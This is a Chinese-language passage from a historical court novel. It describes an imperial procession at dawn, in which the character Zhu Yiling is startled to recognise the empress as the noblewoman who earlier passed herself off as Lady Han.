天光乍破,旭日东升,而在日光照向的西面,天子仪仗正在徐徐行来! 礼乐齐鸣之中,举狮豹旗与七旒红旗的骑兵队首奔驰而来开道,尾随着的护驾精锐都是身佩横刀与长弓。这些礼乐与骑兵的马蹄声,组成了先一步抵达她耳朵里的声音,让所有聚集在此的人都停下了议论,一片安静。 随后,便是手持金雉尾障扇、身材高大的仪卫,以及—— 左插九旒旗,右插黼纹棨戟的天子车驾! 祝以灵在一众山呼万岁的声音中,小心且毫不起眼地微微抬眼,向着那车驾的方向看去。 就见马车停下时,身着上黑下红衮冕礼服的皇帝陛下,与身着深青袆衣的皇后殿下相继从车中走出。 仪仗缓过。 礼乐未歇。 簇拥着这一对正当盛年的帝后,走向送行的华盖。 祝以灵忽然视线聚焦到了某一处,也在下一刻屏住了呼吸,瞳孔一瞬扩张。 等等,那是怎么回事? 如果她没记错的话,皇后与韩国夫人并非双胞胎,人与人之间的气质也或多或少该有些不同。 那…… 那她又为何会在皇后的位置,看到了那日书楼相见,认下韩国夫人身份的贵妇人!